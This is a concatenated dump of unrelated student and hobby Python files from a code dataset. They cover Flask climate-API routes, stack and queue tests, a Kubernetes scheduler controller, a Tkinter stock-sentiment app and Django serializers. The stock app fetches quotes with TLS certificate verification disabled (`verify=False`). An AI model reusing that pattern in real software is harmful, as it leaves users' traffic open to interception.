500\n\n@app.route('/robots.txt')\ndef robotstxt():\n disallow = lambda string: 'Disallow: {0}'.format(string)\n return Response('User-agent: *\\n{0}\\n'.format('\\n'.join([\n disallow('/bin/*'),\n ])))\n","repo_name":"cgle/sumopromo","sub_path":"launching_page/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12731315660","text":"##from flask import Flask\n##app = Flask(__name__)\n##@app.route('/')\n\n##@app.route('/')\n##def hello_world():\n ##return 'Hello world'\n\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\nBase = automap_base()\nBase.prepare(engine, reflect=True)\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\nsession = Session(engine)\napp = Flask(__name__)\n\n##import app\n\n##print(\"example __name__ = %s\", __name__)\n\n##if __name__ == \"__main__\":\n ##print(\"example is being run directly.\")\n##else:\n ##print(\"example is being imported\")\n\n@app.route(\"/\")\ndef welcome():\n return(\n '''\n Welcome to the Climate Analysis API!\n Available Routes:\n /api/v1.0/precipitation\n /api/v1.0/stations\n /api/v1.0/tobs\n /api/v1.0/temp/start/end\n ''')\n\n@app.route(\"/api/v1.0/precipitation\")\n\n# With our route defined, we'll create a new function\n##def precipitation():\n ## return\n\n# add the line of code that calculates the date one year ago from the most recent date in the database.\n## def precipitation():\n ## prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n ## return\n\n# Next, write a query to get the date and precipitation for the previous year.\n## def precipitation():\n ## prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n ## precipitation = session.query(Measurement.date, Measurement.prcp).\\\n ##filter(Measurement.date >= prev_year).all()\n ##return\n\n# create a dictionary with the date as the key and the precipitation as the value.\n# \"jsonify\" our dictionary. Jsonify() is a function that converts the dictionary to a JSON file\ndef precipitation():\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n precipitation = session.query(Measurement.date, Measurement.prcp).\\\n filter(Measurement.date >= prev_year).all()\n precip = {date: prcp for date, prcp in precipitation}\n return jsonify(precip)\n\n@app.route(\"/api/v1.0/stations\")\n\n# With our route defined, we'll create a new function\n## def stations():\n ## return\n\n# create a query that will allow us to get all of the stations in our database.\n##def stations():\n ##results = session.query(Station.station).all()\n ##return\n\n# unravel our results into a one-dimensional array.\n# use the function np.ravel(), with results as our parameter.\n# convert our unraveled results into a list.\n# use the list function, which is list(), and then convert that array into a list\n# Then we'll jsonify the list and return it as JSON.\ndef stations():\n results = session.query(Station.station).all()\n stations = list(np.ravel(results))\n return jsonify(stations=stations)\n\n# return the temperature observations for the previous year. As with the previous routes, begin by defining the route\n@app.route(\"/api/v1.0/tobs\")\n\n# create a function called temp_monthly()\n## def temp_monthly():\n ## return\n\n# calculate the date one year ago from the last date in the database\n## def temp_monthly():\n ## prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n ## return\n\n# query the primary station for all the temperature observations from the previous year\n## def temp_monthly():\n ## prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n ## results = session.query(Measurement.tobs).\\\n ## filter(Measurement.station == 'USC00519281').\\\n ## filter(Measurement.date >= prev_year).all()\n ## return\n\n# unravel the results into a one-dimensional array and convert that array into a list.\n# Then jsonify the list and return our results\n## def temp_monthly():\n ## prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n ## results = session.query(Measurement.tobs).\\\n ## filter(Measurement.station == 'USC00519281').\\\n ## filter(Measurement.date >= prev_year).all()\n ## temps = list(np.ravel(results))\n\n# jsonify our temps list, and then return it. Add the return statement to the end of your code\ndef temp_monthly():\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n results = session.query(Measurement.tobs).\\\n filter(Measurement.station == 'USC00519281').\\\n filter(Measurement.date >= prev_year).all()\n temps = list(np.ravel(results))\n return jsonify(temps=temps)\n\n# last route will be to report on the minimum, average, and maximum temperatures\n# we will have to provide both a starting and ending date\n@app.route(\"/api/v1.0/temp/\")\n@app.route(\"/api/v1.0/temp//\")\n\n# create a function called stats()\n## def stats():\n ## return\n\n# add parameters to our stats()function: a start parameter and an end parameter. For now, set them both to None\n## def stats(start=None, end=None):\n ## return\n\n# create a query to select the minimum, average, and maximum temperatures from our SQLite database.\n# start by just creating a list called sel\n## def stats(start=None, end=None):\n ## sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n# Since we need to determine the starting and ending date, add an if-not statement to our code\n# query our database using the list that we just made\n# unravel the results into a one-dimensional array and convert them to a list\n# jsonify our results and return them\n# take note of the asterisk in the query next to the sel list\n# the asterisk is used to indicate there will be multiple results for our query: minimum, average, and maximum temperatures\n## def stats(start=None, end=None):\n ##sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n ##if not end:\n ##results = session.query(*sel).\\\n ##filter(Measurement.date >= start).all()\n ##temps = list(np.ravel(results))\n ##return jsonify(temps=temps)\n\n# calculate the temperature minimum, average, and maximum with the start and end dates\n# use the sel list, which is simply the data points we need to collect\n# create our next query, which will get our statistics data.\ndef stats(start=None, end=None):\n sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n if not end:\n results = session.query(*sel).\\\n filter(Measurement.date >= start).all()\n temps = list(np.ravel(results))\n return jsonify(temps)\n\n results = session.query(*sel).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= end).all()\n temps = list(np.ravel(results))\n return jsonify(temps)\n","repo_name":"MisterAaronWong/surfs_up","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25478329967","text":"from inspect import stack\nfrom logging import exception\nfrom re import S\nimport pytest\nfrom stack_and_queue import __version__\nfrom stack_and_queue.stack_queue import *\n\ndef test_version():\n assert __version__ == '0.1.0'\n\n#Can successfully push onto a stack\ndef test_push_1_onto_stack():\n stak=Stack()\n stak.push(1)\n assert stak.top.value==1\n\n#Can successfully push multiple values onto a stack\ndef test_push_multiple_onto_stack():\n stak=Stack()\n stak.push(1)\n stak.push(2)\n stak.push(3)\n assert stak.top.value==3\n\n#Can successfully pop off the stack\ndef test_pop_off_stack():\n stak=Stack()\n stak.push(10)\n stak.push(20)\n stak.pop()\n assert stak.top.value==10\n#Can successfully empty a stack after multiple pops\ndef test_empty_stack():\n stak=Stack()\n stak.push(10)\n stak.push(20)\n stak.pop()\n stak.pop()\n assert stak.is_empty()==True\n \n #Can successfully peek the next item on the stack\ndef test_PEEK_stack():\n stak=Stack()\n stak.push(10)\n stak.push(20)\n \n assert stak.peek()==20\n\n#Can successfully instantiate an empty stack\ndef test_instantiate_stack():\n stak=Stack()\n assert stak.top==None\n\n#Calling pop or peek on empty stack raises exception\ndef test_empty_stack_raises_exception_stack():\n stak=Stack()\n with pytest.raises(Exception):\n assert stak.peek()\n with pytest.raises(Exception):\n assert stak.pop()\n\n ########################### queue #####################3\n#Can successfully enqueue into a queue\ndef test_enqueue_1():\n q=Queue()\n q.enqueue(\"eman\")\n assert q.rear.value==\"eman\"\n\n\n#Can successfully enqueue multiple values into a queue\ndef test_enqueue_multiple():\n q=Queue()\n q.enqueue(10)\n q.enqueue(20)\n assert q.rear.value==20\n#Can successfully dequeue out of a queue the expected value\ndef test_enqueue_multiple():\n q=Queue()\n q.enqueue(10)\n q.dequeue()\n q.enqueue(20)\n assert q.front.value==20\n#Can successfully peek into a queue, seeing the expected value\ndef test_peek_queue():\n q=Queue()\n q.enqueue(10)\n \n q.enqueue(20)\n assert q.peek()==10\n#Can successfully empty a queue after multiple dequeues\ndef test_empty_queue():\n q=Queue()\n q.enqueue(10)\n \n q.enqueue(20)\n q.dequeue()\n q.dequeue()\n assert q.q_is_empty()==True\n#Can successfully instantiate an empty queue\ndef test_instantiate_queue():\n q=Queue()\n \n assert q.front==None\n assert q.rear==None\n#Calling dequeue or peek on empty queue raises exception\ndef test_empty_queu_raises_exception_stack():\n q=Queue()\n with pytest.raises(Exception):\n assert q.peek()\n with pytest.raises(Exception):\n assert q.dequeue()","repo_name":"Eman-Alshaikh/Data-Structures-and-algorithms","sub_path":"stack_queue_cd_10/stack-and-queue/tests/test_stack_and_queue.py","file_name":"test_stack_and_queue.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74408682279","text":"import threading\n\nfrom examples.basic.main import setup_metrics, setup_daemon\nfrom galileofaas.connections import RedisClient\nfrom galileofaas.system.faas import GalileoFaasSystem\nfrom kubernetes import client, config, watch\nfrom typing import Dict\nfrom LocalScheduler import LocalScheduler\n\n\ndef start_controller():\n # use for local testing\n config.load_kube_config()\n # use for the docker image\n # config.load_incluster_config()\n supported_zone = \"zone-a\"\n group = \"example.com\"\n plural = \"localschedulers\"\n v2 = client.CustomObjectsApi()\n storage_schedulers: Dict[str, LocalScheduler] = {}\n\n while True:\n print(\"Start watching for custom local scheduler for {}\".format(supported_zone))\n # wirft ein 404 error wenn die resource noch net online ist.\n # Possible solution: davor checken ob sie existiert und wenn nicht mit api erstellen\n\n stream = watch.Watch().stream(v2.list_cluster_custom_object, label_selector='ether.edgerun.io/zone={}'.format(supported_zone),\n group=group, version=\"v1\", plural=plural)\n for event in stream:\n # print(\"Event triggered: %s\" % event)\n obj = event[\"object\"]\n # there are 3 operations ADDED, MODIFIED, DELETED\n operation: str = event['type']\n spec: Dict = obj.get(\"spec\")\n metadata: Dict = obj.get(\"metadata\")\n scheduler_name: str = metadata['name']\n global_scheduler_name = spec['globalScheduler']\n zone: str = metadata['labels']['ether.edgerun.io/zone']\n\n if operation == \"ADDED\":\n print_resource_info(scheduler_name, zone, spec)\n local_scheduler = create_new_scheduler(scheduler_name, zone, global_scheduler_name)\n storage_schedulers[scheduler_name] = local_scheduler\n if operation == \"MODIFIED\":\n print_resource_info(scheduler_name, zone, spec)\n modify_existing_scheduler(storage_schedulers[scheduler_name], spec)\n if operation == \"DELETED\":\n create_poison_pod_for_scheduler(scheduler_name)\n storage_schedulers.pop(scheduler_name)\n print(\"Resource %s was deleted\" % scheduler_name)\n\n\ndef print_resource_info(resource_name: str, zone: str, spec: Dict):\n output_string = \"Resource %s in zone %s with: \" % (resource_name, zone)\n for key, value in spec.items():\n output_string += \"%s: %s \" % (key, value)\n print(output_string[:-1])\n\n\ndef modify_existing_scheduler(local_scheduler: LocalScheduler, spec: Dict):\n local_scheduler.global_scheduler_name = spec['globalScheduler']\n print(\"Scheduler %s updated %s\" % (local_scheduler.scheduler_name, spec))\n\n\ndef create_new_scheduler(scheduler_name: str, zone: str, global_scheduler_name: str) -> LocalScheduler:\n local_scheduler = LocalScheduler(scheduler_name, zone, global_scheduler_name)\n # name must be unique for schedulers\n t1 = threading.Thread(target=local_scheduler.start_schedule)\n t1.start()\n return local_scheduler\n\n\ndef create_poison_pod_for_scheduler(scheduler_name: str):\n v1 = client.CoreV1Api()\n pod_metadata = client.V1ObjectMeta()\n pod_metadata.name = \"poison-pod\"\n\n container = client.V1Container(name='empty', image='alpine')\n pod_spec = client.V1PodSpec(containers=[container])\n pod_spec.scheduler_name = scheduler_name\n pod_body = client.V1Pod(metadata=pod_metadata, spec=pod_spec, kind='Pod', api_version='v1')\n\n v1.create_namespaced_pod(namespace='default', body=pod_body)\n\n\nif __name__ == '__main__':\n start_controller()\n","repo_name":"icdef/custom-controller-basic","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13662534656","text":"import requests, json, os, six, io, sys\nimport google.auth\nfrom google.cloud import language_v1 as language\nfrom google.cloud import translate_v2 as translate\nfrom google.cloud import storage\nfrom google.cloud import speech\nfrom tkinter import *\nfrom tkinter import ttk, filedialog, simpledialog\nfrom tkinter.messagebox import showinfo, showwarning\nimport requests\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom PIL import ImageTk, Image as IMIM # https://programmerah.com/attributeerror-type-object-image-has-no-attribute-open-41937/\n\n\"\"\"\n@ Description: Closing Stock Price using Quote Endpoint from Alpha Vantage\n@ API Documentation: https://www.alphavantage.co/documentation/\n\"\"\"\n\n\nclass StockSentimentGroup6:\n def __init__(self, windowsGui, api_key, client):\n self.windowsGui_ = windowsGui\n self.windowsGui_.title('Stock Sentiment Analysis')\n #self.windowsGui_.geometry(\"780x440\")\n self.api_key = api_key\n \n # RUN FUNCITONS HERE:\n self.create_frames()\n self.create_widgets()\n self.get_series()\n\n\n def create_frames(self):\n # Base Frame - one Frame for all\n # Honestly, I don't know if this makes sense. I need more coffee...\n self.mainframe = ttk.Frame(self.windowsGui_\n ,style = 'mainFrameColor.TFrame')\n self.mainframe.grid(column=0, row=0, sticky=(N, W, E, S))\n\n # Stock Information -Top Left Corner\n self.stockInformationFrame = ttk.Frame(self.mainframe\n ,padding = '5 15 15 5')\n #,style = '')\n self.stockInformationFrame.grid(column=0, row=0, sticky=(N, W, E, S))\n\n # Stock Checkboxes - Top Right Corner. \n self.checkboxStockFrame = ttk.Frame(self.mainframe\n ,padding='5 15 15 5')\n #,style = '')\n self.checkboxStockFrame.grid(column=1, row=0, sticky=(N, W, E, S))\n\n # Stock Sentiment Analysis and Historical Pricing - Middle\n # one row THICC\n self.sentiment_and_historic_pricing_frame = ttk.Frame(self.mainframe\n ,padding='5 15 15 5'\n ,relief='sunken')\n self.sentiment_and_historic_pricing_frame.grid(column=0, row=2, columnspan=2, sticky=(N, W, E, S))\n\n # Stock Charts and Sentiment Analysis\n self.chart_sentiment_frame = ttk.Frame(self.mainframe\n ,padding='5 15 15 5'\n ,relief='sunken')\n self.chart_sentiment_frame.grid(column=0, row=4, columnspan=2, sticky=(N, W, E, S))\n\n \n def create_widgets(self):\n\n self.stock_labels = ['Symbol','Close Price: USD', \n 'Previous Close', 'Percent Change', 'Volume']\n\n self.stocks_of_interest = ['IBM', 'APPLE', 'MICROSOFT', \n 'MODERNA', 'PFIZER']\n\n self.tckr_stocks = ['IBM', 'AAPL', 'MSFT', 'MRNA', 'PFE', 'NVAX', 'AZN']\n \n self.last_100_day_bbtns = ['Description', 'Closing Price', 'Volume']\n\n ############################\n # FRAME: # \n # stockInformationFrame # \n ############################\n\n # # Creating Stock Labels inside stockInformationFrame\n # stock_label = ttk.Label(self.stockInformationFrame\n # ,text='Symbol')\n # stock_label.grid(column=0, row=0, sticky=W)\n\n for i in range(len(self.stock_labels)):\n lbl = ttk.Label(self.stockInformationFrame\n ,text =self.stock_labels[i])\n #Style=\n lbl.grid(column=0, row=i,sticky=W)\n \n #self.symbol_string_var = StringVar()\n self.str_var = [StringVar(), StringVar(),StringVar(), StringVar(), StringVar()]\n for i in range(len(self.stock_labels)):\n entry = ttk.Entry(self.stockInformationFrame\n ,textvariable=self.str_var[i])\n entry.grid(column=1, row=i, sticky=W)\n \n\n # #The Price Button Which Will Retrieve the Data:\n price_bttn = ttk.Button(self.stockInformationFrame\n ,text='Get Price'\n ,command=self.get_closing_price)\n price_bttn.grid(column=1, row=i+2, pady=3)\n\n ############################\n # FRAME: # \n # checkboxStockFrame # \n ############################\n\n # Creating CheckButton for Easy Access to Stocks of Interest:\n self.stock_selection_int = IntVar()\n for self.stock in range(len(self.stocks_of_interest)):\n chck_bttn = ttk.Checkbutton(self.checkboxStockFrame\n ,text=self.stocks_of_interest[self.stock]\n ,variable=self.stock_selection_int\n ,onvalue=self.stock+1\n ,command=self.check_stock)\n chck_bttn.grid(column=0, row=self.stock)\n chck_bttn[\"width\"]=30\n \n ############################\n # FRAME: # \n # sentiment_and_ \\ #\n # historic_pricing_bttns # \n ############################\n\n self.last_100_day_label = ttk.Label(self.sentiment_and_historic_pricing_frame\n ,text='Last 100 Days: ')\n self.last_100_day_label.grid(column=0, row=0, sticky=W)\n\n self.stock_price_optn = IntVar()\n #self.stock_price_optn = [IntVar(), IntVar(), IntVar()]\n for itm in range(len(self.last_100_day_bbtns)):\n stock_info = ttk.Checkbutton(self.sentiment_and_historic_pricing_frame\n ,text=self.last_100_day_bbtns[itm]\n ,variable=self.stock_price_optn\n ,onvalue=itm+1\n ,command=self.choice_value)\n stock_info.grid(column=1+itm, row=0, sticky=E)\n\n def get_closing_price(self):\n if self.str_var[0].get() == \"\":\n showinfo(title='Warning', message='Missign ticker symbol')\n return\n ticker_smbl = self.str_var[0].get().upper()\n stock_name = self.str_var[0].get().upper()\n self.str_var[0].set(ticker_smbl)\n\n base_url = r\"https://www.alphavantage.co/query?function=GLOBAL_QUOTE\"\n # Additional URL stuff\n main_url = base_url + '&symbol=' + ticker_smbl + \\\n \"&apikey=\" + self.api_key\n\n res_obj = requests.get(main_url, verify=False)\n self.result = res_obj.json()\n\n print(self.result)\n\n try:\n self.c_price = self.result[\"Global Quote\"]['05. price']\n f_price = round(float(self.c_price), 2)\n self.c_price = str(f_price)\n print(self.c_price)\n self.str_var[1].set('$'+self.c_price)\n\n # Get and Display Previous Closing Price\n self.pc_price = self.result['Global Quote']['08. previous close']\n f_price = round(float(self.pc_price), 2)\n self.pc_price = str(f_price)\n self.str_var[2].set('$'+self.pc_price)\n\n # Get and Display Percent Change\n self.p_change = self.result['Global Quote']['10. change percent']\n self.str_var[3].set(self.p_change)\n\n # Get and Display Volume Movement. \n self.volume = self.result['Global Quote']['06. volume']\n v = int(self.volume) # converts the string sel.volume to integer\n v = \"{:,}\".format(v) # Converts int to string with commas\n self.str_var[4].set(v)\n\n except Exception as e:\n warn_msg = \"Symbol \" + ticker_smbl + \" Not Found\"\n showwarning(title='Warning', message=warn_msg)\n #self.clear_entries()\n \n \n def check_stock(self):\n self.str_var[0].set(self.tckr_stocks[self.stock_selection_int.get()-1])\n \n\n def get_series(self):\n if self.str_var[0] == \"\":\n showinfo(title=\"Warning\", message=\"No proper stock selected\")\n return\n ticker_smbl = self.str_var[0].get()\n \n #Base URL to get historical data:\n base_url = r\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED\"\n main_url = base_url + '&symbol='+ ticker_smbl + '&apikey=' + api_key\n\n #Get JSON Request\n res_obj = requests.get(main_url)\n results = res_obj.json()\n try:\n timeSeries = results['Time Series (Daily)']\n\n map_of_values = {\n 1: [\"closing_price\", \"4. close\"],\n 3: [\"volume\", \"6. volume\"]\n }\n\n name_of_col = map_of_values[self.choice][0] # will use the self.choice_values function\n content_of_col = map_of_values[self.choice][1]\n\n dictionary = {\"date_range\": [], name_of_col: []}\n\n x='date_range'\n y= name_of_col\n\n for key, value in timeSeries.items():\n dictionary[\"date_range\"].append(key)\n dictionary[name_of_col].append(value[content_of_col])\n\n df = pd.DataFrame(dictionary)\n df[\"date_range\"] = df[\"date_range\"].astype('datetime64', copy=False)\n df[name_of_col] = df[name_of_col].astype('float64', copy=False)\n\n plot = df.plot(x=x, y=y, title=ticker_smbl, colormap='jet', marker='.', markersize=5)\n plot.set_xlabel(\"Date\")\n plot.set_ylabel(name_of_col)\n plt.grid(True)\n plt.savefig('ts_plot_hw.png')\n \n \n self.imgobj = ImageTk.PhotoImage(IMIM.open('ts_plot_hw.png'))\n self.imgwin = ttk.Label(self.chart_sentiment_frame, image=self.imgobj)\n self.imgwin.grid(column=0, row=3, sticky=W)\n\n except Exception as e:\n print(str(e))\n\n def stock_data_sentiment_and_Description(self):\n text = Text(self.chart_sentiment_frame)\n text.grid(column=0, row=2, columnspan=2, sticky=W)\n\n if self.str_var[0] == \"\":\n showinfo(title=\"Warning\", message=\"No proper stock selected\")\n return\n ticker_smbl = self.str_var[0].get()\n\n # replace the \"demo\" apikey below with your own key from https://www.alphavantage.co/support/#api-key\n url = 'https://www.alphavantage.co/query?function=OVERVIEW&symbol=' + \\\n ticker_smbl + '&apikey='+api_key\n r = requests.get(url) \n data = r.json()\n #print(data)\n\n analyst_tp = data[\"PERatio\"]\n fiftytwo_high = data[\"52WeekHigh\"]\n fiftytwo_low = data[\"52WeekLow\"]\n company_description = data[\"Description\"]\n\n stock_website = self.stocks_of_interest[self.stock_selection_int.get()-1]\n print(stock_website)\n\n html_file = 'WebPages/'+ stock_website +'.html' # checkbutton\n print(\"Classifying HTML inf File: \", html_file)\n\n try:\n with open(html_file, \"r\") as file_contents:\n contents = file_contents.read()\n if len(contents)>1000000:\n print(html_file, 'size= ', len(contents), 'too large to process locally')\n sys.exit()\n except:\n print('Unable to process', html_file)\n sys.exit()\n\n sentiment, magnitude = \\\n self.get_sentiment( contents, file_type=\"html\") \n # print(u\"=\" * 20)\n # print(\"Sentiment: {:>6.3f}\".format(sentiment))\n # print(\"Magnitude: {:>6.3f}\".format(magnitude)) \n # print(u\"=\" * 80, \"\\n\")\n\n text_box_details = \"PE Ratio: \" + analyst_tp \\\n + '\\n'+ \"52WeekHigh: \" + fiftytwo_high \\\n + '\\n'+ \"52WeekLow: \" + fiftytwo_low \\\n + '\\n'+'====================================' \\\n + '\\n' + \"Sentiment: \" + str(sentiment) \\\n + '\\n' + \"Magnitude: \" + str(magnitude)\\\n + '\\n'+'====================================' \\\n + '\\n' + \"\\nDescription:\\n\" + company_description \n\n text.insert('end', text_box_details)\n\n def choice_value(self):\n self.choice = 0\n if self.last_100_day_bbtns[self.stock_price_optn.get()-1] == 'Description':\n self.choice = 2\n if self.last_100_day_bbtns[self.stock_price_optn.get()-1] == 'Closing Price':\n self.choice = 1\n if self.last_100_day_bbtns[self.stock_price_optn.get()-1] == 'Volume':\n self.choice = 3\n self.get_series()\n self.stock_data_sentiment_and_Description()\n \n def get_sentiment(self, contents, file_type=\"html\"):\n\n if file_type == 'html':\n document = language.Document(content= contents, language='en',\n type_=language.Document.Type.HTML)\n \n response = client.analyze_sentiment(document=document, encoding_type= 'UTF32')\n sentiment =response.document_sentiment\n return sentiment.score, sentiment.magnitude\n\n\n\ngoogle_project_file = \"GoogleTranslateCredentials.json\"\ncredentials, project_id = google.auth.\\\n load_credentials_from_file(google_project_file)\nclient = language.LanguageServiceClient(credentials=credentials)\napi_key = \"demo\"\nroot = Tk()\nmy_app = StockSentimentGroup6(root, api_key, client)\n# Display GUI\nroot.mainloop()","repo_name":"vizcaino-sebastian/stock_sentiment_analysis","sub_path":"StockSentimentAnalysis.py","file_name":"StockSentimentAnalysis.py","file_ext":"py","file_size_in_byte":12944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30916770308","text":"import datetime\nimport typing\n\nfrom django.db.models import Avg, When, Case, Sum, F, Count\nfrom django.db.models.functions import Round, ExtractYear, Coalesce\n\nfrom rest_framework import serializers\n\nfrom apps.programs.models import Program, Evaluation\nfrom apps.users.models import UserProfile, TraineeProfile, CoachProfile\nfrom api.users import serializer as users\nfrom apps.quests.models import Quest\nfrom apps.tags.models import HashTag\n\n\nclass ProgramDetailSerializer(serializers.Serializer):\n coach = serializers.SerializerMethodField()\n program = serializers.SerializerMethodField()\n total_score = serializers.SerializerMethodField()\n feedback = serializers.SerializerMethodField()\n\n @staticmethod\n def get_program(obj: TraineeProfile) -> typing.Optional[Program]:\n try:\n return obj.program_set.latest('started_date')\n except AttributeError:\n return None\n\n @staticmethod\n def get_coach(obj: Program):\n try:\n coach_profile = users.CoachSubProfileSerializer(instance=obj.coach).data\n user_profile = users.UserProfileSerializer(instance=obj.coach.userprofile).data\n return coach_profile, user_profile\n except AttributeError:\n return None\n\n @staticmethod\n def get_total_score(obj: Program) -> typing.Optional[list]:\n try:\n total_score = obj.quest_set\\\n .values('meal_score', 'workout_score') \\\n .aggregate(\n meal=Round(Avg('meal_score')),\n workout=Round(Avg('workout_score'))\n )\n total_score = [{key: str(value)} for key, value in total_score.items()]\n return total_score\n except AttributeError:\n return None\n\n @staticmethod\n def get_feedback(obj: Program) -> typing.Optional[list]:\n try:\n feedback = obj.quest_set\\\n .annotate(date=F('created_at').strftime('%Y-%m-%d'))\\\n .values('date', 'rate_feedback', 'quest_feedback')\n return list(feedback)\n except AttributeError:\n return None\n\n # @staticmethod\n # async def update_daily_quest_score(query: QuerySet[Quest]):\n # pass\n\n\nclass EvaluationSerializer(serializers.Serializer):\n coach_evaluation = serializers.SerializerMethodField()\n trainee_aggregate = serializers.SerializerMethodField()\n purpose_tags = serializers.SerializerMethodField()\n feedback_list = serializers.SerializerMethodField()\n\n @staticmethod\n def get_coach_evaluation(obj: CoachProfile) -> typing.Optional[dict]:\n evaluation = Evaluation.objects.values('communication', 'care', 'total_rate') \\\n .filter(program__coach_id=obj.id).all()\n total_evaluation = evaluation.aggregate(\n communication=Coalesce(Round(Avg('communication')), 0.0),\n care=Coalesce(Round(Avg('care')), 0.0),\n total_rate=Coalesce(Round(Avg('total_rate')), 0.0)\n )\n return total_evaluation\n\n @staticmethod\n def get_trainee_aggregate(obj: CoachProfile):\n year = datetime.date.today().year\n trainee = UserProfile.objects \\\n .annotate(age=year-ExtractYear('birth')) \\\n .values('age', 'gender').filter(trainee__program__coach_id=obj.id)\n total_rate = {\n 'gender': trainee.aggregate(\n male=Sum(Case(When(gender__exact=UserProfile.GENDER_CHOICES.male, then=1), default=0)),\n female=Sum(Case(When(gender__exact=UserProfile.GENDER_CHOICES.female, then=1), default=0))\n ),\n 'age': trainee.aggregate(\n twenties=Sum(Case(When(age__range=[20, 29], then=1), default=0)),\n thirties=Sum(Case(When(age__range=[30, 39], then=1), default=0)),\n fourties=Sum(Case(When(age__range=[40, 49], then=1), default=0)),\n fifties=Sum(Case(When(age__range=[50, 59], then=1), default=0)),\n )\n }\n return total_rate\n\n @staticmethod\n def get_purpose_tags(obj: CoachProfile) -> typing.Optional[list]:\n purpose = HashTag.objects\\\n .values_list('tag_content', flat=True)\\\n .annotate(count=Count('tag_content'))\\\n .filter(tag_type=HashTag.TAG_CHOICES.purpose, traineeprofile__program__coach_id=obj.id)\\\n .order_by('-count')\n return list(purpose)\n\n @staticmethod\n def get_feedback_list(obj: CoachProfile) -> typing.Optional[list]:\n feedback = Program.objects\\\n .annotate(nickname=F('trainee__userprofile__nickname'), text=F('evaluation__text'))\\\n .values('nickname', 'text').filter(coach_id=obj.id)\n return list(feedback)\n","repo_name":"soheeeeP/troy-ptservice-drf-backend","sub_path":"api/programs/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28560499784","text":"import json\nimport os\nimport pickle\nimport socket\nimport sys\nimport timeit\nfrom io import BytesIO\n\nimport avro\nimport fastavro\nimport msgpack\nimport xmltodict\nimport yaml\nfrom avro.datafile import DataFileReader, DataFileWriter\nfrom avro.io import DatumReader, DatumWriter\nfrom dicttoxml import dicttoxml\nfrom fastavro import writer\n\nimport ser_pb2\n\nstructure = dict(text='string', int=228, number=3.44, boolean=True, int_list=[1, 2, 3], dict={'key': 'value'})\n\n\ndef pickle_serialization():\n ser_time = timeit.timeit(\"pickle.dump(structure, open('output.dat', 'wb'))\", number=10000, globals=globals())\n deser_time = timeit.timeit(\"pickle.load(open('output.dat', 'rb'))\", number=10000, globals=globals())\n size = os.stat('output.dat').st_size\n return (ser_time, deser_time, size)\n\n\ndef xml_serialization():\n ser_time = timeit.timeit(\"xml_struct = dicttoxml(structure)\", number=10000, globals=globals())\n size = dicttoxml(structure).__sizeof__()\n deser_time = timeit.timeit(\"xmltodict.parse(xml_struct)\", setup=\"xml_struct = dicttoxml(structure)\", number=10000,\n globals=globals())\n return (ser_time, deser_time, size)\n\n\ndef json_serialization():\n ser_time = timeit.timeit(\"json_str = json.dumps(structure)\", number=10000, globals=globals())\n size = json.dumps(structure).__sizeof__()\n deser_time = timeit.timeit(\"json.loads(json_str)\", setup=\"json_str = json.dumps(structure)\", number=10000,\n globals=globals())\n return (ser_time, deser_time, size)\n\n\ndef get_struct():\n struct = ser_pb2.Structure()\n struct.string = structure[\"text\"]\n struct.number = structure[\"int\"]\n for num in structure[\"int_list\"]:\n struct.array.append(num)\n struct.float_number = structure[\"number\"]\n struct.bool = structure[\"boolean\"]\n for key, value in structure[\"dict\"].items():\n struct.dict[key] = value\n return struct\n\n\ndef protobuf_serialization():\n setup = \"from __main__ import get_struct;\" \\\n \"proto_struct = get_struct()\"\n proto_struct = get_struct()\n ser_time = timeit.timeit(\"proto_struct.SerializeToString()\", setup=setup, number=10000, globals=globals())\n size = proto_struct.SerializeToString().__sizeof__()\n deser_setup = \"from __main__ import get_struct;\" \\\n \"proto_struct = get_struct();\" \\\n \"proto_ser = proto_struct.SerializeToString();\" \\\n \"deser_struct = ser_pb2.Structure()\"\n deser_time = timeit.timeit(\"deser_struct.ParseFromString(proto_ser)\", setup=deser_setup, number=10000,\n globals=globals())\n return (ser_time, deser_time, size)\n\n\ndef serialize(schema, data): # вдохновлено https://habr.com/ru/articles/346698/\n bytes_writer = BytesIO()\n fastavro.schemaless_writer(bytes_writer, schema, data)\n return bytes_writer.getvalue()\n\n\ndef deserialize(schema, binary):\n bytes_writer = BytesIO()\n bytes_writer.write(binary)\n bytes_writer.seek(0)\n data = fastavro.schemaless_reader(bytes_writer, schema)\n return data\n\nshema = {\"name\": \"example.avro\",\n \"type\": \"record\",\n \"fields\": [\n {\"name\": \"text\", \"type\": \"string\"},\n {\"name\": \"int\", \"type\": \"int\"},\n {\"name\": \"number\", \"type\": 